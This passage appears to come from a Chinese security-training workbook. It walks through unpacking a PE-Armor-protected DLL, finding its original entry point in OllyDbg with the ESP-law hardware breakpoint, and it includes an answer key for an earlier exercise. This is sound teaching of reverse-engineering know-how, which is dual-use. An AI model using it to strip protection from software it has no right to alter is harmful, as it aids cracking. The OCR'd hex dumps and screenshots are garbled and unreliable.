0000040 SC 20 00 00 22 21 00 00 22 21 00 00 22 21 00 00 20 00 00 00 00 00 00 1 1 1 1		00000410		) 00 F4 20 00 01 ) 00 02 21 00 01	) KO 20 00 00 ) CF 20 00 00	f i ib ig	状态:
0000040 (b 10 20 00 00 00 00 00 00 00 00 00 00 00 00		00000430	BC 20 00 00 2E 21 00	00 42 21 00 0	00 00 00 00	44 .! B!	撤消级别:
00000450 11 20 00 00 7 20 00 00 00 00 00 00 00 00 00 00 00 00		00000440	8C 20 00 00 00 00 00	0 00 00 00 00 00	0 74 21 00 00	Œ t!	反向撤消:
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1		00000450	10 20 00 00 7C 20 00		0 00 00 00 00		创建时间: 2018
00000490       021 0000       00000       00000       00000       0		00000480			) AO 21 OO OO	: !	11
00000490 11 21 00 00 07 4 20 00 00 20 20 00 00 50 21 00 00 20 20 00 00 50 21 00 00 20 20 00 00 20 50 00 43 72 .1 Bi X Cr 00000400 45 21 10 00 00 22 10 00 77 25 07 63 41 00 83 00 00 20 20 80 00 40 72 .1 Bi X Cr 00000400 45 66 75 76 86 76 17 75 07 25 07 63 41 00 83 00 00 20 20 80 00 40 20 00 00 00 00 00 00 00 00 00 00 00 00		00000480	8E 21 00 00 80 21 00	0 00 00 00 00 00	0 10 21 00 00	ž!€!!	最后写入时间: 2017
00000440 00 00 00 00 00 00 00 00 00 00 0		00000490	1C 21 00 00 F4 20 00	00 E0 20 00 0	50 21 00 00	! ô à P!	10
0000040 0 4 6 6 5 6 5 1 7 4 6 5 7 5 0 5 2 6 4 0 7 7 7 4 5 7 8 1 0 0 8 0 0 estevindovers. 4 - 0000040 4 6 5 6 5 1 0 0 2 8 0 1 4 7 6 3 6 1 4 0 0 0 8 0 0 0 Evindovers. 4 - 0 1 parachMesage A ( cethesage A ( ce		00000480	2E 21 00 00 42 21 00		5 58 00 43 72	. B! XCr	属性:
00000400 44 65 66 75 69 67 37 06 61 77 70 72 67 63 41 00 00 DeffinatorProced 00000470 65 41 00 70 02 80 13 77 65 77 44 05 73 73 67 72 41 00 00 1 DigatCharberge 00000510 59 01 4C 67 61 64 49 65 77 73 73 67 72 41 00 10 150 67 5 00000550 77 74 51 75 69 74 44 05 73 73 61 74 57 00 F0 00 F0 10 F0 10 F0 150 67 00000550 77 74 51 75 69 74 49 75 73 73 67 73 73 75 10 150 CuittBessage 1 00000550 77 00 25 47 26 1 26 73 76 61 74 75 00 F0 11 70 41 F0 41 75 75 79 56 64 67 77 00 00 00 00 00 00 00 00 00 00 00 00		000004C0	65 61 74 65 57 69 6E	64 6F 77 45 7	3 41 00 83 00	eateWindowExA f	图标:
00000420 94 00 44 69 73 70 61 74 65 87 74 96 57 73 75 16 77 6 00000500 41 00 97 01 4C 67 61 64 44 97 73 72 73 67 72 41 00 01 01 03 00 7 00000520 73 74 51 75 69 74 40 65 73 73 61 67 5 00000520 77 45 17 45 67 73 40 65 73 74 61 67 55 00 107 01 00000520 77 45 17 45 67 73 40 65 73 74 65 73 74 61 75 73 45 76 11 00000520 77 65 74 80 64 75 75 61 74 96 65 73 76 16 75 70 00 10 00000520 77 65 74 80 67 73 45 65 73 76 16 75 73 70 05 60 00000520 77 65 74 75 69 74 50 67 73 45 65 73 76 16 75 70 00 10 00000520 75 00 45 65 75 74 60 16 44 75 66 73 73 70 05 60 06 00000520 75 00 45 74 80 67 47 46 67 73 76 86 73 70 05 60 00 00 00 00 00 00 00 00 00 00 00 00		000004D0	44 65 66 57 69 6E 64	6F 77 50 72 6	F 63 41 00 00	DefWindowProcA	模式: +
COUNTER 0 10 10 00 00 00 00 00 00 00 00 00 00 0		000004E0	94 00 44 69 73 70 61	1 74 63 68 4D 63 65 74 4D 65 73	5 73 73 61 67	DispatchMessag     CotMessag     CotMessag     DispatchMessag     DispatchMessag	宇符集: ANSI
00000510 99 0.1 4C 6F 61 64 49 63 6F 6F 42 40 00 D0 150 6F ) LouldTeads 1 P0 0000050 73 74 65 77 39 74 65 77 39 76 75 75 6F 65 77 75 75 67 65 77 75 77 65 65 46 76 77 00 00 55 00 70 00 98 70 25 70 44 51 74 65 70 97 85 73 73 61 ) TranslateMemory 00000550 75 00 00 10 88 02 57 06 45 17 46 55 70 97 66 17 TranslateMemory 00000550 75 00 77 65 77 49 75 76 46 67 77 70 10 00 55 53 45 52 33 32 22 64 66 62 00 00 00 USEB22.dll 00000550 75 00 74 75 76 97 45 70 64 01 76 65 46 67 77 00 00 00 00 00 00 00 00 00 00 00 00		00000500	41 00 97 01 4C 6F 61	64 43 75 72 7	3 6F 72 41 00	A - LoadCursorA	· 偏移重: 十 每页面字节数 · 38 ·
00000520 77 77 74 51 75 69 74 40 65 72 43 6 67 75 73 76 61 77 74 75 77 97 60 60 0000550 76 77 77 00 05 55 33 68 67 77 57 69 62 64 67 77 70 00 0000550 77 62 73 74 57 66 61 74 65 57 69 76 76 70 70 00 0000550 76 75 70 00 55 53 73 66 61 74 65 57 69 56 64 0000050 76 75 70 00 55 53 73 62 61 74 56 57 69 56 64 0000050 76 75 70 45 78 69 74 50 72 67 63 65 73 73 00 56 00 0000050 75 60 74 13 67 60 61 62 64 46 69 82 65 73 73 00 56 00 0000050 64 71 65 74 43 67 60 61 62 64 46 69 82 65 40 65 0000050 00 00 00 00 00 00 00 00 00 00 00		00000510	9B 01 4C 6F 61 64 49	63 6F 6E 41 0	DD 01 50 6F	› LoadIconà Ý Po	***************************************
00000530 0 00 00 50 25 36 86 77 57 57 96 64 66 77 73 75 96 64 67 77 75 96 64 66 77 70 75 96 64 66 77 70 75 96 64 66 77 70 75 96 64 66 77 70 75 96 76 97 75 70 00 05 55 57 96 64 16 77 46 55 76 96 65 77 37 61 00 00 00 05 00 00 00 00 00 00 00 00 00		00000520	73 74 51 75 69 74 40	65 73 73 61 6	7 65 00 EF 01	stQuitMessage ï	日期面口で: 宿口总数:
000000500       00000500       77200       66       17400       77300       67370       66       174000       17400		00000530	52 65 67 69 73 74 65	5 72 43 6C 61 73	3 73 45 78 41	RegisterClassExA	
00000550 t7 65 00 00 8B 02 55 70 64 61 74 65 57 69 6E 64 00000570 t7 70 00 05 55 74 45 67 43 52 73 32 22 64 66 60 00 00 0000580 47 65 77 44 36 76 10 61 6 66 44 64 69 66 65 41 00 0000580 11 01 47 65 74 41 67 64 75 62 65 48 61 62 64 66 6 00000580 10 00 00 00 00 00 00 00 00 00 00 00 00		00000550	7D 02 54 72 61 6E 73	6C 61 74 65 4	D 65 73 73 61	) TranslateMessa	野则后夜:
00000570 (b f 7 7 00 00 55 53 45 52 33 32 22 64 66 6C 00 00 0 w USER3.11) 0000580 75 00 74 76 57 44 35 07 26 f6 85 65 73 73 00 06 50 0 u W USER3.11) 0000580 11 01 47 57 44 35 67 4 67 66 75 46 76 65 48 61 65 67 47 30 00 00 00 0000580 00 00 00 00 00 00 00 00 00 00 00 00 0		00000560	67 65 00 00 8B 02 55	5 70 64 61 74 6	5 57 69 6E 64	ge < Update⊎ind	临时艾件夹: 5.6 G
00000050 47 5 00 45 78 49 74 30 72 00 16 00 10 10 00 10 00 10 00 10 00 10 00 00		00000570	6F 77 00 00 55 53 45	5 52 33 32 2E 6	4 6C 6C 00 00	ow USER32.dll	sers (ADMINI T) Applata(Loca
000000520       11 01 47 65 74 40 of 64 75 66 75 46 75 66 75		00000580	75 00 45 78 69 74 50 47 65 74 43 6F 6D 6F	) 72 6F 63 65 73	3 73 00 B6 00 9 68 65 41 00	u ExitProcess ¶ GetCommandLine)	
00000500       05 41 00 00 4B 45 52 4F 45 4C 33 32 2Z 64 6C 6       a       KEENTL322 all         00000500       00 00 00 00 00 00 00 00 00 00 00 00 00		000005A0	11 01 47 65 74 4D 6F	64 75 6C 65 4	B 61 6E 64 6C	GetModuleHandl	
00000550 00000500 00000570 000000000 00000570 00000000		00000580	65 41 00 00 4B 45 52	4E 45 4C 33 3	2 2E 64 6C 6 <mark>C</mark>	eA KERNEL32.dll	
100000550 00 00 00 00 00 00 00 00 00 00 0		000005C0	00 00 00 00 00 00 00		00 00 00 00		
○ 00 00 00 00 00 00 00 00 00 00 00 00 00		00000500					教話解释
页面 3 / 3 《略耀: 507 - 20 法供: 500 - 507 大小: 22 24 ③ ● PWA安全实训. ③ C:UDecuments ③ ቜቜቜዼቜ 学 不 题的 KEY 就是: 5745B4		000005F0			00 00 00 00		▼ 8 Bit 16 Bit
② ● 网络安全实说 ② C: Ubermants ③ 雅泰结果 ③ C: Ubermants ③ 雅泰结果 ③ C: Ubermants ③ 雅泰结果 ③ C: Ubermants ③ 化 200 Delk ● Tialder - [PE ● ● ● ●		页面 3 / 3	偏移量	t: 5BF		= 108 选块:	5B0 - 5BF 大小: 32 Bit
答案:本题的 KEY 就是: 5745B4	1 🕑 👩	📀 网络安全实	W 🛛 🗀 C:\Documents	🕗 搜索结果	C:\Documen	ts 🚯 [ LordPE Delu	🎆 WinHex - [PE 🦢 📑 🗞
	法战答案:	本题的 K	CEY 就是: 5745B4	4	0	2	
	采战答案 <b>:</b>	本题的 K	CEY 就是: 5745B4	4		2	
	K战答案:	本题的 K	CEY 就是: 5745B4	4			

81

## 拓展: 脱壳篇

### 脱壳篇一 DLL 文件脱壳

【实战目标】

寻找目标文件<EdrLib.dll>的入口点 OEP,并计算 OEP 的 RVA 值。

【实战提示】

1. DLL 是 Dynamic Link Library (动态链接库)的缩写形式,是一个共享函数库的可执行 文件。DLL 文件的脱壳,多了个基址重定位表需要考虑。寻找 DLL 文件有两条路可走,一 个是载入时,一个是退出时,退出时流程短,相对而言更容易找到 OEP。

2. 使用 LordPE 工具查看目标文件 PE 信息。

3. 使用 OllyDbg 工具,加载 DLL 文件,使用 ESP 定律法,查找目标程序入口点 OEP。

4. 计算 OEP 的 RVA 值。

解题需知

1. 売

在自然界中,植物用壳来保护种子,动物用壳来保护身体等。同样,在一些计算机软件里 也有一段专门负责保护软件不被非法修改或反编译的程序。他们附加在原程序上通过 Windows 加载器载入内存后,先于原始程序执行,得到控制权,执行过程中对原程序进行 解密、还原,还原完成后在把控制权交还给原始程序,执行原来的代码的部分。加上外壳 后,原始程序代码在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原, 这样就可以比较有效地防止破解者对程序文件的非法修改,同时也可防止程序被静态反编 译,由于这段程序和自然界的壳在功能上有很多相同的地方,基于命名的规则,就把这样 的程序称为"壳"。

壳和病毒在某些方面比较类似,都需要比原程序代码更早地获得控制权。壳修改了原程序的执行文件的组织结构,从而能够比原程序的代码提前获得控制权,并且不会影响原程序的正常运行。

2. 寻找 OEP

外壳保护的程序运行时,首先执行外壳程序,外壳程序负责把用户原来的程序在内存中解 压还原,并把控制权交还给解压完成后的真正程序,再跳转到原来程序的入口点,这个解 压后程序的真正入口点称为 OEP,即 Original Entry Point。

当 DLL 被初次映射到进程的地址空间中时,系统将调用 DLLMain 函数,当卸载 DLL 时也 会再次调用 DLLMain 函数。也就是说,DLL 文件相比 EXE 文件运行有一些特殊性,EXE 的入口点只在开始时执行一次,而 DLL 的入口点在整个执行过程中至少要执行两次。一次 是在开始时,用来对 DLL 做一些初始化。至少还有一次是退出时,用来清理 DLL 在推出。 OEP 就是各种编程软件的入口特征,一般有 VC,BC,VB,DELPHI 较为常见

delphi:

PUSH EBP
MOV EBP,ESP
ADD ESP,-10
MOV EAX,PE.004B6FA8

Microsoft Visual C++

55	PUSH EBP ; (初始 cpu 选择)
8BEC	MOV EBP,ESP
6A FF	PUSH -1
68 40375600	PUSH Screensh.00563740
68 8CC74900	PUSH Screensh.0049C78C ; SE 处理程序安装
64:A1 0000002	>MOV EAX,DWORD PTR FS:[0]
50	PUSH EAX
64: 8925 0000	)>MOV DWORD PTR FS:[0],ESP

vb:		
00401166	- FF25 6C104000	JMP DWORD PTR DS:[<&MSVBVM60.#100>]
MSVBVM60	.ThunRTMain	
0040116C >	68 147C4000	PUSH PACKME.00407C14
00401171	E8 F0FFFFFF	CALL <jmp.&msvbvm60.#100></jmp.&msvbvm60.#100>
00401176	0000	ADD BYTE PTR DS:[EAX],AL
00401178	0000	ADD BYTE PTR DS:[EAX],AL
0040117A	0000	ADD BYTE PTR DS:[EAX],AL
0040117C	3000	XOR BYTE PTR DS:[EAX],AL
bc++:		
0040163C > \$	\$ /EB 10	JMP SHORT BCLOCK.0040164E
0040163E	66	DB 66 ; CHAR 'f
0040163F	62	DB 62 ; CHAR 'b'
00401640	3A	DB 3A ; CHAR ':'
00401641	43	DB 43 ; CHAR 'C'
00401642	2B	DB 2B ; CHAR '+'
00401643	2B	DB 2B ; CHAR '+'
00401644	48	DB 48 ; CHAR 'H'
00401645	4F	DB 4F ; CHAR 'O'
00401646	4F	DB 4F ; CHAR 'O'
00401647	4B	DB 4B ; CHAR 'K'
00401648	<b> 90</b>	NOP
00401649	E9	DB E9
0040164A	.  98E04E00	DD OFFSET BCLOCK. CPPdebugHook
0040164E	>\A1 8BE04E00	MOV EAX,DWORD PTR DS:[4EE08B]
00401653	. C1E0 02	SHL EAX,2
00401656	. A3 8FE04E00	MOV DWORD PTR DS:[4EE08F],EAX
0040165B	. 52	PUSH EDX
0040165C	. 6A 00	PUSH 0 ; /pModule = NULL

;

0040165E . E8 DFBC0E00 CALL <JMP.&KERNEL32.GetModuleHandleA>; \GetModuleHandle 3. ESP 定律法

ESP 定律就是利用堆栈平衡快速找到 OEP,所谓堆栈平衡是指 call 进一个函数后,在 ret 前 保证 esp 指向 call 前的地址,简单说就是 call 的时候栈顶在哪儿, call 完栈顶必须仍然在那 儿。通常保持堆栈平衡的做法是在 call 进入后保存寄存器上下文,如果你用反汇编调试器

跟进去,会看到 push ebp,push esp,push eax 等等,在 ret 前会逆序把它们 pop 回来。壳的解 压器通常以 pushad 开始,也要遵守堆栈平衡,所以在解压器把程序复原后肯定要调用 popad 把所有寄存器 pop 回来,所以可以在 pushad 前记录下 esp 的地址,打上内存断点,然后就能在 popad 的时候断下来,这时候就离 OEP 不远了。

4. OllyDbg: 是一个动态追踪工具,将 IDA 与 SoftICE 结合起来的思想, Ring 3 级调试器, 己代替 SoftICE 成为当今最为流行的调试解密工具了。同时还支持插件扩展功能,是目前 最强大的调试工具。

5. LordPE: 是一款功能强大的 PE 文件分析、修改、脱壳软件。LordPE 是查看 PE 格式文件信息的首选工具,并且可以修改相关信息。

6. 操作流程



#### 【详细指导】

1. 查看 PE 头信息

(1) 本实例目标程序使用加壳工具< PE-Armor.exe>加壳处理过,运行 LordPE 工具,单击 【PE Editor】按键,加载目标文件<EdrLib.dll>,查看其 PE 信息,获得 EntryPoint 为 D000, ImageBase 为 400000,如下图所示。

课程编号: B080203120

Path	PID	ImageBase ImageSize		-	_□× PE Editor 转
[system] [systemroot\system32\smss. [systemroot\system32\smss.	ex <b>I PE Editor ] = c:\do</b> sr ┌─Basic PE Header Informatio	cuments and settings\ad	lainistrator\桌面\(	deljih. dll	Rebuild PE Unsplit
<ul> <li>??\c:\windows\system32\v</li> <li>c:\windows\system32\servic</li> <li>c:\windows\system32\servic</li> </ul>	vir EntryPoint: 00000 e: ImageBase: 00400	000 Subsystem: 000 NumberOfSections:	0002	Save	Dumper Server Options
c:\windows\system32\svchu	ISI SizeOffmage: 00000E	000 TimeDateStamp: 000 SizeDfHeaders:	46DF687C 00001000 ? +	Sections Directories	
Path	BaseDfData: 00007 SectionAlignment: 00001	000 Characteristics: 000 Checksum:	00000000 ?	FLC TDSC	
	Magic:	10B NumOfRivaAndSizes:	00000010 + •	Compare	
					About

(2) 单击【Sections】按键,查看目标程序的区块信息,如下图所示。

会 LordPE D 叙述 Path	eluxe ] by pode	PID ImageBase ImageSize		
System (Constraint)     S	Asystem32\sy	Characteristic         act           Header Information            Storn Teble            V01fset         VSize         R0ff           00007000         00006000         0000           00007000         0000000         0000           0000000         0000000         0000           0000000         00001000         0000           00000000         00001000         0000           000000000         00001000         0000           00000         00001000         00000           00000         00001000         00000	set         BSize         Plags           11000         00004000         E0000020           5000         00001000         C0000044           1000         00001000         C0000044           1000         00001000         E0000040           1000         00001000         E0000040           1000         00001000         E0000040	Rebuild PE Unsplit Dumper Server Options
				About

2. 如何使用 OD 调试 DLL 文件

DLL 本身不能直接执行,但是可以调用 LoadLibrary 将 DLL 的文件映射到调用进程的地址 空间中,退出时调用 FreeLibrary 卸载 DLL。

为了调试 DLL, OllyDbg 提供了一个类似原理的辅助程序 Loaddll.exe, 这个程序被压缩存 放在资源段里, 如果 OllyDbg 所在文件夹内没有 Loaddll.exe, 则会释放这个文件。

用 OllyDbg 加载 DLL 文件时,将会询问启动 Loaddll.exe,单击【是】即可,如下图所示。 然后链接库被加载并停在程序的入口,之后就可以正常调试 DLL 程序。



#### 3. 查找 DLL 文件入口点 OEP

注意:由于 DLL 文件被映射的地址是系统动态分配的,因此在操作过程中显示的地址与本操作步骤中的地址不同,操作时以当前系统基址为准。

(1) 运行 OllyDbg 工具, 在菜单栏依次点击"文件/打开",加载目标文件<EdrLib.dll>,出 现警告窗口单击"是"即可。按 F9 调试程序(注:此处可能需要等待几十秒钟,出现警告 窗口点击"是"即可),此过程可能比较慢,可以在按一下 F9 键加快载入。使程序停在外 壳入口处。但是仔细观察,此时 EdrLib.dl 并未被映射到默认的 40000h 内存地址中,而是 选择了另外一个地址。

(2) 使用 "Alt+M" 快捷键打开内存映像窗口,可知 EdrLib.dl 被映射在地址为 003F0000h 处,即映像地址为 003F0000h,这个值将参与计算 OEP 的 RVA 值,如下图所示。

🔆 - E	內存映射]								X
M 文件	町一番	🛯 调试	① 插件	(P) 选顶(D)	御日	心の帮	助(H)		×
		ŏ-bi	) Tel (Q		(D) i	ψΦτ	WH		
th th			区段	包全	墨刑	访问	初始访问		
00010000	00002000		2212		Priv	RW	RW		
00020000	00001000				Priv	RW	RW		
00060000	00001000			1411 I T T T T T T T T T T T T T T T T T T	Priv	13 保護	FRW		
00060000	00003000			堆权 ] 土约	Man	R 1763	B		
00080000	00006000				Priv	RW	RW		
00180000	00003000				Map	RW	RW		
00190000	00016000				Map	R	R	\Device\HarddiskVolume1\TINUUWS\system32\uncode.nls	
00200000	00041000				Map	R	R	Device (Harddisk/olume1(WINDOWS)systems2(Socie)	
00250000	00006000				Map	R	R	\Device\HarddiskVolume1\WINDOWS\system32\sorttbls.nls	
00260000	00041000				Map	R	R		
00250000	00001000				Priv	RWF	RWE		
00210000	00004000				Map	RE	RE		
00390000	00002000				Map	RE	RE		
00320000	00002000				Friv	KW P	RW P	There is the state of the state	
003C0000	00008000				Priv	RW	RW	the vice that disk votumer that hours (system) a copyet his	
003D0000	00001000				Priv	RW	RW		
003E0000	00001000	<b>T</b> 1 <b>T</b> 1		NN	Priv	RW D	RW		
003F0000	00001000	EdrLib	tert	代码	Imag	R R	RWE		
003F7000	00001000	EdrLib	.rdata	輸出表	Imag	R	RWE		
003F8000	00004000	EdrLib	. data	数据	Imag	R	RWE		
003FC000	00001000	EdrLib	.reloc	crev ten h = ·	Imag	R	RWE		
00310000	00001000	LOADDLL.	. jicss	PE 文件头	Imag	R	BWE		
00410000	00001000	LOADDLL	CODE	代码	Imag	RE	RWE		
00420000	00003000	LOADDLL	DATA	数据	Imag	RW	RWE		
00430000	00001000	LOADDLL	. 1data	制八衣 輸出事	Imag	R	RWE		
00450000	00001000	LOADDLL	.rsrc	资源	Imag	RW	RWE		
00460000	00103000				Map	R	R		
74480000	00068000	100010		178 立体化	Map	RE	RE		
74AE1000	00044000	USP10	. text	代码、输入表	Imag	R	RWE		
74B25000	0000A000	USP10	. data	数据	Imag	R	RWE		
74B2F000	00002000	USP10	Shared	200 306	Imag	R	RWE		
74B43000	00012000	USP10	reloc	英傑	Imag	R	BWE		
76180000	00001000	IMM32		PE 文件头	Imag	R	RWE		
76181000	00015000	IMM32	. text	代码,输入表	Imag	R	RWE		
76196000	00001000	1MM32 TMM32	. data	釵姑 資源	Imag	R	RWE		
76190000	00001000	IMM32	.reloc	<b>輩</b> 定位	Imag	R	RWE		
76EB0000	00001000	Secur32		PE 文件头	Imag	R	RWE		
76EB1000	0000F000	Secur32	. text	代码, 输入表]  数据	Imag	R	RWE		
76EC0000	00001000	Secur32	. data	致増	Imag	R	RWE		
76EC2000	00001000	Secur32	.reloc	重定位	Imag	R	RWE		-
A.A. •	100001000	antoo			1.	n	Thurs		-
нц. <del>4</del>									
被调试的	) DLL 入	口点							
🏄 开始	و 🕲	🜔 网络	安全实	C: \Doc	umen	. 🗕	搜索结果	💼 C: \Documen ) 😂 C: \Inetpub 🚷 [ LordPE D   🦄 - [内存映射] 🛛 🍉 📑 🗞 11:2	28

(3) 此时不能使用 F8 键,继续跟踪代码查找 OEP,因为这样查找非常困难,但是由于 DLL 文件退出时也会再次来到入口点,所以本实战采用 DLL 文件退出时寻找 OEP 方式: (4) F9 键运行目标程序,停在入口点后,DLL 装载成功正常运行时,Loaddll.exe 将会出现,如下图所示界面。

NNN.

🔆 - [C	PV - 主线程, 榎	决 - EdrLib]		- B ×
€ 文件	Brite Brite	他 新作业,选项 (5) 箱口作)帮助 (1)		_ B ×
2		ਹੈ ਸ਼ <b>ਹਿ ਕ</b> ਿਹੇ ਹੈ ਦਿੱਲੀ ਜ ਕ	IC7KBRS 🗮 🛒 ?	
+#1+	них 数据			
00371000	B8 0100000	MOV RAX 1	111+	
003F1005	. C2 0C00	RETN OC		
003F1008	90	NOP		
003F1009	90	DB 90		
003F100A	90	DB 90		
003F100C	90	DB 90		
003F100D	90	DB 90		
003F100E	90	DB 90		
003F1010	83	DB 83		
003F1011	EC	DB EC		
003F1012	08	DB 08	anun ( a)	
003F1013	53	DB 55	CHAR 5 CHAR 'V'	
003F1015	88	DB 8B		
003F1016	74	DB 74	CHAR 't'	
003F1017	24	DB 24	CHAR '\$'	
003F1010	57	DB 57		
003F101A	56	DB 56		
003F101B	FF	DB FF		
003F101C	20	DB 2C		
003F101E	70	DB 70		
003F101F	3F	DB 3F		
003F1020	88	DB 8B		
003F1022	F8	DB F8		
003F1023	8D	DB 8D		
003F1024	44	DB 44	CHAR 'D'	
003F1025	0C	DB OC	chuit p	
003F1027	8B	DB 8B		
003F1028	50	DB 5C	CHAR ' V'	
003F1029	18	DB 18	CUMP 2	
003F102B	50	DB 50	CHAR ' P'	
003F102C	57	DB 57	CHAR 'W'	
UU3F1U2D	56	DB 56	CHAR Y	
				Ū
地址	HEX 数据	ASCII		<u>^</u>
003F8000		0 00 00 00 00 00 00 97 3A 3F 00	??.	
003F8020				
003F8030	6A 6C 63 73 73 0	0 00 00 6A 6C 63 73 73 63 6F 6D jless	jlesscom	
003F8040	00 00 00 00 75 9	8 00 00 73 98 00 00 F0 10 3F 00u?.s	?. ??.	
命令:		<b>•</b>		
	,			法行
🥭 开始	🕑 👩 🛛 🚺 网络	各安全  🗀 C:\Docum  🕘 搜索结果	🛛 🗁 C: \Docum 🗁 C: \Inetp 😽 [ LordPE 🧏 -	[CPU    🎇 OllyDbg 🦢 📑 🗞 11:31

(5)关闭 Loaddll.exe 窗口(如果关闭中出现等待时,可以按 F9 运行,加速关闭时间),DLL 文件被卸载时,会停在外壳入口点处,如下图所示。接下来使用 ESP 定律法查找入口点 OEP。

💥 - [C	PV - 线程 00000	0074, 榎块 - EdrLib]	
🖸 文件 🤅	到一个开始 测过	(型) 插件(型) 1选项(型) 每口(型) 帮助(	)X
🔁 🕶 🖉		▝▐▌▓▕▋▕▋〉₽₽₩₼Тw	H C 7 K B R S 🗮 🛒 ?
地址	HEX 数据	反汇编	注释 ▲
003FD000	60 X8 C2000000	PUSHAD	
003FD001	2E:D000	ROL BYTE PTR CS: [EAX] 1	
003FD009	0000	ADD BYTE PTR DS: [EAX], AL	
003FD00B	0000	ADD BYTE PTR DS: [EAX], AL	
OO3FDOOF	0000	ADD BYTE PTR DS: [EAX], AL	
003FD011	003E	ADD BYTE PTR DS: [ESI], BH	
003FD013	0028	ADD BYTE PTR DS: [EAX], I	
003FD017	D000	ROL BYTE PTR DS: [EAX], 1	
003FD019	0000	ADD BYTE PTR DS: [EAX], AL	
003FD01D	0000	ADD BYTE PTR DS: [EAX], AL	
003FD01F	0000	ADD BYTE PTR DS: [EAX], AL	
003FD021	0000	ADD BYTE PTR DS: [EAX], AL	
003FD025	0000	ADD BYTE FTR DS: [EAX], AL	
003FD027	0000	ADD BYTE PTR DS: [EAX], AL	
003FD029	0000	ADD BYTE PTR DS: [EAX], AL	
003FD02D	007A 3D	ADD BYTE PTR DS: [EDX+3D], BH	
003FD030	82704A 47 82	UMP BITE FTR DS: [EDX+ECX*2+47], -TE	
003FD037	1D 807C0000	SBB EAX, TC80	
003FD03C	0000 4P	ADD BYTE PTR DS: [EAX], AL	
OO3FDO3F	45	INC EBP	
003FD040	52	PUSH EDX	
003FD041 003FD042	45	INC EBP	
003FD043	4C	DEC ESP	
003FD044	3332	XOR ESI, DWORD PTR DS: [EDX]	名全的前端
003FD047	64:6C	INS BYTE FTR ES: [EDI], DX	
003FD049	6C	INS BYTE PTR ES: [EDI], DX	I/0 命令
003FD04A 003FD04C	0000	ADD BITE FIR DS: [EAX], AL	
003FD04E	47	INC EDI	
UU3FDU4F	65:74 50	JE SHUKT EdrLib. UU3FDUA2	
地址	HEX 数据	ASCII	
命令:			
被调试的	DLL 入口点	<u> </u>	「「「「」」「「」」「「」」「」」「「」」「」」「」」「」」「」」「」」「」」
🍠 开始	[2] O O Má	各安全实   🗀 C:\Documen   🗾 搜索	结果 🛛 🗁 C: \Documen ) 🍋 C: \Inetpub 🚯 [ LordPE D   🌺 - [CPV 🦢 🛃 🗞 11:33

#### 1) ESP 定律法的基本步骤为:

程序入口点处按一下 F8 键,注意观察 OD 右上角的寄存器中 ESP 有没突现(变成红色)(这 只是一般情况下,更确切的说我们选择的 ESP 值是关键句之后的第一个 ESP 值)。

在命令行下: dd XXXXXXXX(指在当前代码中的 ESP 地址,或者是 hr XXXXXXXX),按回车。

选中下断的地址,断点--->硬件访--->WORD(字)断点。

按一下 F9 运行程序,直接来到了跳转处,按下 F8 键,到达程序 OEP。

2) 使用 ESP 定律法实现寻找 OEP

按一下 F8 键单步步过调试,使程序运行到 003FD001 指令处,此时查看 OllyDbg 窗口右侧 的寄存器窗口,查看 ESP 寄存器的颜色状态,发现 ESP 此时是红色,记下此时 ESP 寄存器 中的值 0006F8C8,如下图所示。

🔆 - [C	PU - 主线程, 模	决 - EdrLib]									_ 8 ×
	2018-0		HO HE HI T W H								_ 8 ×
바바	HEX 数据	反汇编		注释		寄存器 (FPU)		<	<	< <	< <
0.379104 0.379104 0.379105 0.379105 0.379105 0.379105 0.379105 0.379105 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379101 0.379102 0.3791	60         28: 2000000           28: 10000         20000           0000         0000           28:         45           45:         45           45	PUSHAD CALL EACTIN DOSFDOCS CALL EACTIN DOSFDOCS ROL BYTE FTR CS: EAX1, ADD BYTE FTR IS: EA	Ц Ц Ц Ц Ж Ж Ц Ц Ц Ц Ц Ц Ц Ц Ц Ц Ц Ц Ц	多余的前缀 1/0 命令 1/0 命令 5/余的前缀 多余的前缀		EAX 00000000 ECX 0000F98C EDX 0000F98C EDX 0000F98C EDX 0000F98C EDX 0000F98C EDX 0000F98C EDX 0000F876 EDX 0	OFFSET EdrLib. < EdrLib. 003FD001 32(T 0 0FFFFFF 32(T 0 0FFFFFF 000 0 0 0 0FF 000 0 0 0 0FF c MEAR, 53 PED	環块入口点> () ) ) ) ) ) ) ) ) ) ) ) ) )		71)	
地址	HEX 数据		ASCII			1				▲ <b>000</b>	55808 ( 🔺
命令:		-								■ 000 000 000 000 ▼ 000	6F8DC ( 6F8D0 ( 6F8D4 ( 6F8D8 ( 6F8D8 ( 5F8DC ()
	1									本所/宣	
者 开始	🕑 📀 😡	各安全实   🗀 C:\Docu	ien 🛛 칠 搜索结	果 [ 🗀 C: \Do	cumen 🛛 🗀 C : 'Ine	:tpub 🛛 🚷 [	LordPE D	🔆 - [СРV -		5 B	箋 11:40

在 OllyDbg 工具的命令行内输入 dd 0006F8C8,然后按一下回车按键,如下图所示。

Control (1) 10000 (1) 10000 (1) 10000 (1) 10000 (1) 10000 (1) 10000 (1) 100

按回车键后在数据窗口停在 0006F8C8 地址处,如下图所示,选中要设置断点的 0006F8C8 指令。



右键鼠标,依次选择"断点/硬件访问/字(Word)",如下图所示。

	10.000				_		
[	断点(P)	۲	内存访问(A)				
	查找(S)	۲	内存写入(W	)			
	转到	×	硬件访问	Þ		字节	
	Hex	×	硬件写入	Þ		字	
	文本	۲	硬件执行(H)			双字	

在菜单栏依次选择"调试(D)/硬件断点(H)",查看硬件断点是否设置成功,如下图表示设置成功。



按下F9键,运行程序,当程序运行停止,如下图所示。



继续使用 F9 键调试,直到出现如下图所示结果。00870283 处指令为 PUSH 3F1240,初步 确定 3F1240 为程序的入口点 OEP,并且此条指令相当于 JMP 3F1240。



课程编号: B080203120

运行 F8 键即可很快到达程序的 OEP 处。

3) 验证 OEP 是否正确

根据 VC++编写的目标程序软件入口点特征为:

55 PUSH EBP ; (初始 cpu 选择)

8BEC MOV EBP,ESP

6A FF PUSH -1

68 40375600 PUSH Screensh.00563740

68 8CC74900 PUSH Screensh.0049C78C ; SE 处理程序安装

64:A1 0000000>MOV EAX,DWORD PTR FS:[0]

50 PUSH EAX

64: 8925 00000>MOV DWORD PTR FS:[0],ESP

可知,003F1240就是目标程序的入口点OEP。

(6) 计算 OEP 的 RVA 值, OEP 的 RVA 值=3F1240h-3F0000h=1240h。

## 脱壳篇二 UPX 压缩壳

【实战目标】

